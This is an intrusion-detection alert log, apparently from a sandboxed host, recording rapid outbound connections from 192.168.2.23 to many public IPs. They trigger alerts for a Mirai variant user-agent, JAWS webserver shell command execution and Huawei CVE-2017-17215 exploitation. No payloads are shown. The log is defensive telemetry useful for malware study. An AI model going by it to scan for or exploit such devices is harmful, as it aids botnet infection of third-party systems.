2024-12-03T22:12:10.896761+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60898	88.204.40.127	80	TCP
2024-12-03T22:12:10.896761+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60898	88.204.40.127	80	TCP
2024-12-03T22:12:10.899585+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53186	166.46.184.48	80	TCP
2024-12-03T22:12:10.899585+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53186	166.46.184.48	80	TCP
2024-12-03T22:12:10.914990+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53302	138.253.99.143	80	TCP
2024-12-03T22:12:10.914990+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53302	138.253.99.143	80	TCP
2024-12-03T22:12:10.973284+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38304	39.59.187.16	80	TCP
2024-12-03T22:12:10.973284+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38304	39.59.187.16	80	TCP
2024-12-03T22:12:10.977698+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49726	154.225.38.211	80	TCP
2024-12-03T22:12:10.977698+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49726	154.225.38.211	80	TCP
2024-12-03T22:12:11.018191+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34944	2.92.50.4	80	TCP
2024-12-03T22:12:11.018191+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34944	2.92.50.4	80	TCP
2024-12-03T22:12:11.143169+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46704	49.62.38.109	80	TCP
2024-12-03T22:12:11.143169+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46704	49.62.38.109	80	TCP
2024-12-03T22:12:11.189976+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48880	191.220.213.75	80	TCP
2024-12-03T22:12:11.189976+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48880	191.220.213.75	80	TCP
2024-12-03T22:12:11.196384+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53606	150.209.61.21	80	TCP
2024-12-03T22:12:11.196384+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53606	150.209.61.21	80	TCP
2024-12-03T22:12:11.196474+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52702	58.54.216.137	80	TCP
2024-12-03T22:12:11.196474+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52702	58.54.216.137	80	TCP
2024-12-03T22:12:11.196638+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47048	8.159.135.62	80	TCP
2024-12-03T22:12:11.196638+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47048	8.159.135.62	80	TCP
2024-12-03T22:12:11.221364+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52218	85.100.167.15	80	TCP
2024-12-03T22:12:11.221364+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52218	85.100.167.15	80	TCP
2024-12-03T22:12:11.236874+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41196	204.184.249.105	80	TCP
2024-12-03T22:12:11.236874+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41196	204.184.249.105	80	TCP
2024-12-03T22:12:11.542539+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42896	216.31.154.98	80	TCP
2024-12-03T22:12:11.542539+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42896	216.31.154.98	80	TCP
2024-12-03T22:12:11.899735+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58500	197.25.239.17	37215	TCP
2024-12-03T22:12:12.055788+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34128	156.107.59.192	37215	TCP
2024-12-03T22:12:12.055792+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51360	156.66.88.100	37215	TCP
2024-12-03T22:12:12.055923+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47296	156.143.18.45	37215	TCP
2024-12-03T22:12:12.064903+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36934	197.3.39.188	37215	TCP
2024-12-03T22:12:12.080472+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48498	156.100.189.237	37215	TCP
2024-12-03T22:12:12.087117+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39738	197.80.227.170	37215	TCP
2024-12-03T22:12:12.096499+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42154	41.108.205.190	37215	TCP
2024-12-03T22:12:12.149647+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44534	197.121.34.254	37215	TCP
2024-12-03T22:12:12.174499+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37578	156.75.218.24	37215	TCP
2024-12-03T22:12:12.900788+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34322	192.122.106.149	80	TCP
2024-12-03T22:12:12.900788+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34322	192.122.106.149	80	TCP
2024-12-03T22:12:12.904492+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38692	90.128.45.194	80	TCP
2024-12-03T22:12:12.904492+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38692	90.128.45.194	80	TCP
2024-12-03T22:12:12.918043+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34300	67.109.205.61	80	TCP
2024-12-03T22:12:12.918043+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34300	67.109.205.61	80	TCP
2024-12-03T22:12:12.918172+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43310	168.141.43.142	80	TCP
2024-12-03T22:12:12.918172+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43310	168.141.43.142	80	TCP
2024-12-03T22:12:12.921055+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49912	178.168.125.118	80	TCP
2024-12-03T22:12:12.921055+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49912	178.168.125.118	80	TCP
2024-12-03T22:12:12.923703+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50038	189.113.25.114	80	TCP
2024-12-03T22:12:12.923703+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50038	189.113.25.114	80	TCP
2024-12-03T22:12:12.931367+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41848	91.168.168.177	80	TCP
2024-12-03T22:12:12.931367+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41848	91.168.168.177	80	TCP
2024-12-03T22:12:12.933122+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58830	133.23.65.66	80	TCP
2024-12-03T22:12:12.933122+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58830	133.23.65.66	80	TCP
2024-12-03T22:12:12.933246+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33988	121.123.242.60	80	TCP
2024-12-03T22:12:12.933246+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33988	121.123.242.60	80	TCP
2024-12-03T22:12:12.933678+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34302	204.35.166.113	80	TCP
2024-12-03T22:12:12.933678+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34302	204.35.166.113	80	TCP
2024-12-03T22:12:12.934541+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37286	62.248.199.225	80	TCP
2024-12-03T22:12:12.934541+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37286	62.248.199.225	80	TCP
2024-12-03T22:12:12.935547+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51360	25.56.170.39	80	TCP
2024-12-03T22:12:12.935547+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51360	25.56.170.39	80	TCP
2024-12-03T22:12:12.940916+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37886	42.54.179.203	80	TCP
2024-12-03T22:12:12.940916+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37886	42.54.179.203	80	TCP
2024-12-03T22:12:12.942456+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38806	52.200.155.160	80	TCP
2024-12-03T22:12:12.942456+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38806	52.200.155.160	80	TCP
2024-12-03T22:12:12.942859+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46792	39.26.141.128	80	TCP
2024-12-03T22:12:12.942859+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46792	39.26.141.128	80	TCP
2024-12-03T22:12:12.943617+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45662	175.207.62.8	80	TCP
2024-12-03T22:12:12.943617+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45662	175.207.62.8	80	TCP
2024-12-03T22:12:12.947736+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51100	157.10.232.130	80	TCP
2024-12-03T22:12:12.947736+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51100	157.10.232.130	80	TCP
2024-12-03T22:12:12.947789+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47182	165.71.235.9	80	TCP
2024-12-03T22:12:12.947789+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47182	165.71.235.9	80	TCP
2024-12-03T22:12:12.948718+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55548	51.132.116.166	80	TCP
2024-12-03T22:12:12.948718+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55548	51.132.116.166	80	TCP
2024-12-03T22:12:12.956731+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33760	89.237.234.81	80	TCP
2024-12-03T22:12:12.956731+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33760	89.237.234.81	80	TCP
2024-12-03T22:12:12.956952+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60458	177.109.45.183	80	TCP
2024-12-03T22:12:12.956952+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60458	177.109.45.183	80	TCP
2024-12-03T22:12:12.973799+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43952	120.47.138.87	80	TCP
2024-12-03T22:12:12.973799+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43952	120.47.138.87	80	TCP
2024-12-03T22:12:12.974078+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56182	114.255.133.213	80	TCP
2024-12-03T22:12:12.974078+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56182	114.255.133.213	80	TCP
2024-12-03T22:12:12.974081+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35800	100.44.128.127	80	TCP
2024-12-03T22:12:12.974081+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35800	100.44.128.127	80	TCP
2024-12-03T22:12:12.974280+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39936	220.40.166.42	80	TCP
2024-12-03T22:12:12.974280+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39936	220.40.166.42	80	TCP
2024-12-03T22:12:12.974712+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39260	222.183.121.253	80	TCP
2024-12-03T22:12:12.974712+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39260	222.183.121.253	80	TCP
2024-12-03T22:12:12.998544+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47096	2.111.72.125	80	TCP
2024-12-03T22:12:12.998544+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47096	2.111.72.125	80	TCP
2024-12-03T22:12:13.009357+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56952	44.96.228.159	80	TCP
2024-12-03T22:12:13.009357+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56952	44.96.228.159	80	TCP
2024-12-03T22:12:13.009595+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47846	113.202.243.27	80	TCP
2024-12-03T22:12:13.009595+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47846	113.202.243.27	80	TCP
2024-12-03T22:12:13.009841+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32856	9.180.125.203	80	TCP
2024-12-03T22:12:13.009841+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32856	9.180.125.203	80	TCP
2024-12-03T22:12:13.061461+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55588	182.114.118.150	80	TCP
2024-12-03T22:12:13.061461+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55588	182.114.118.150	80	TCP
2024-12-03T22:12:13.061754+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42012	156.239.228.206	37215	TCP
2024-12-03T22:12:13.061762+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57734	87.124.13.206	80	TCP
2024-12-03T22:12:13.061762+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57734	87.124.13.206	80	TCP
2024-12-03T22:12:13.061920+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36480	59.234.43.201	80	TCP
2024-12-03T22:12:13.061920+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36480	59.234.43.201	80	TCP
2024-12-03T22:12:13.062441+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41228	13.209.9.211	80	TCP
2024-12-03T22:12:13.062441+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41228	13.209.9.211	80	TCP
2024-12-03T22:12:13.062562+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36822	151.234.254.75	80	TCP
2024-12-03T22:12:13.062562+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36822	151.234.254.75	80	TCP
2024-12-03T22:12:13.062562+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48390	152.61.133.39	80	TCP
2024-12-03T22:12:13.062562+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48390	152.61.133.39	80	TCP
2024-12-03T22:12:13.063110+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58150	69.165.68.106	80	TCP
2024-12-03T22:12:13.063110+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58150	69.165.68.106	80	TCP
2024-12-03T22:12:13.063251+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48936	52.233.176.82	80	TCP
2024-12-03T22:12:13.063251+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48936	52.233.176.82	80	TCP
2024-12-03T22:12:13.063338+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45902	84.71.252.104	80	TCP
2024-12-03T22:12:13.063338+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45902	84.71.252.104	80	TCP
2024-12-03T22:12:13.063456+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55360	101.242.71.7	80	TCP
2024-12-03T22:12:13.063456+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55360	101.242.71.7	80	TCP
2024-12-03T22:12:13.063847+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45352	151.117.200.130	80	TCP
2024-12-03T22:12:13.063847+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45352	151.117.200.130	80	TCP
2024-12-03T22:12:13.063855+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33174	46.218.150.180	80	TCP
2024-12-03T22:12:13.063855+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33174	46.218.150.180	80	TCP
2024-12-03T22:12:13.064322+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51264	57.234.210.229	80	TCP
2024-12-03T22:12:13.064322+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51264	57.234.210.229	80	TCP
2024-12-03T22:12:13.064522+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56064	91.179.4.197	80	TCP
2024-12-03T22:12:13.064522+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56064	91.179.4.197	80	TCP
2024-12-03T22:12:13.080702+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57556	172.13.154.229	80	TCP
2024-12-03T22:12:13.080702+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57556	172.13.154.229	80	TCP
2024-12-03T22:12:13.081086+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50506	195.46.36.83	80	TCP
2024-12-03T22:12:13.081086+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50506	195.46.36.83	80	TCP
2024-12-03T22:12:13.081094+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57494	68.131.78.173	80	TCP
2024-12-03T22:12:13.081094+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57494	68.131.78.173	80	TCP
2024-12-03T22:12:13.096338+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50796	69.224.65.58	80	TCP
2024-12-03T22:12:13.096338+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50796	69.224.65.58	80	TCP
2024-12-03T22:12:13.112017+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44620	216.84.178.95	80	TCP
2024-12-03T22:12:13.112017+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44620	216.84.178.95	80	TCP
2024-12-03T22:12:13.112156+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42260	156.240.241.216	80	TCP
2024-12-03T22:12:13.112156+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42260	156.240.241.216	80	TCP
2024-12-03T22:12:13.118277+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46262	156.22.51.217	37215	TCP
2024-12-03T22:12:13.133901+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57274	178.58.251.176	80	TCP
2024-12-03T22:12:13.133901+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57274	178.58.251.176	80	TCP
2024-12-03T22:12:13.190019+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33418	31.114.90.41	80	TCP
2024-12-03T22:12:13.190019+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33418	31.114.90.41	80	TCP
2024-12-03T22:12:13.205546+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42100	170.223.253.82	80	TCP
2024-12-03T22:12:13.205546+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42100	170.223.253.82	80	TCP
2024-12-03T22:12:14.040125+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60986	97.146.133.90	80	TCP
2024-12-03T22:12:14.040125+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60986	97.146.133.90	80	TCP
2024-12-03T22:12:14.040364+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45478	112.94.207.133	80	TCP
2024-12-03T22:12:14.040364+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45478	112.94.207.133	80	TCP
2024-12-03T22:12:14.040366+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57902	190.176.20.128	80	TCP
2024-12-03T22:12:14.040366+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57902	190.176.20.128	80	TCP
2024-12-03T22:12:14.055857+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45088	89.77.49.90	80	TCP
2024-12-03T22:12:14.055857+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45088	89.77.49.90	80	TCP
2024-12-03T22:12:14.071345+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36618	159.47.73.163	80	TCP
2024-12-03T22:12:14.071345+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36618	159.47.73.163	80	TCP
2024-12-03T22:12:14.080706+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34368	123.63.252.212	80	TCP
2024-12-03T22:12:14.080706+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34368	123.63.252.212	80	TCP
2024-12-03T22:12:14.087031+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39504	35.37.81.75	80	TCP
2024-12-03T22:12:14.087031+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39504	35.37.81.75	80	TCP
2024-12-03T22:12:14.087383+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42658	72.98.186.118	80	TCP
2024-12-03T22:12:14.087383+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42658	72.98.186.118	80	TCP
2024-12-03T22:12:14.087558+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39860	179.41.60.148	80	TCP
2024-12-03T22:12:14.087558+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39860	179.41.60.148	80	TCP
2024-12-03T22:12:14.096364+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45656	140.76.241.6	80	TCP
2024-12-03T22:12:14.096364+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45656	140.76.241.6	80	TCP
2024-12-03T22:12:14.096560+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60942	132.243.143.161	80	TCP
2024-12-03T22:12:14.096560+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60942	132.243.143.161	80	TCP
2024-12-03T22:12:14.096763+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38518	205.91.17.173	80	TCP
2024-12-03T22:12:14.096763+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38518	205.91.17.173	80	TCP
2024-12-03T22:12:14.096768+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40970	134.42.74.112	80	TCP
2024-12-03T22:12:14.096768+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40970	134.42.74.112	80	TCP
2024-12-03T22:12:14.102726+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33462	151.235.178.124	80	TCP
2024-12-03T22:12:14.102726+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33462	151.235.178.124	80	TCP
2024-12-03T22:12:14.111984+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37528	155.120.96.18	80	TCP
2024-12-03T22:12:14.111984+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37528	155.120.96.18	80	TCP
2024-12-03T22:12:14.112113+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38094	77.145.142.253	80	TCP
2024-12-03T22:12:14.112113+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38094	77.145.142.253	80	TCP
2024-12-03T22:12:14.112228+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37986	133.83.247.90	80	TCP
2024-12-03T22:12:14.112228+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37986	133.83.247.90	80	TCP
2024-12-03T22:12:14.112257+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58042	220.107.18.26	80	TCP
2024-12-03T22:12:14.112257+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58042	220.107.18.26	80	TCP
2024-12-03T22:12:14.112294+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45776	201.42.80.185	80	TCP
2024-12-03T22:12:14.112294+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45776	201.42.80.185	80	TCP
2024-12-03T22:12:14.143453+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40004	98.103.8.79	80	TCP
2024-12-03T22:12:14.143453+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40004	98.103.8.79	80	TCP
2024-12-03T22:12:14.143666+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58750	203.199.224.170	80	TCP
2024-12-03T22:12:14.143666+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58750	203.199.224.170	80	TCP
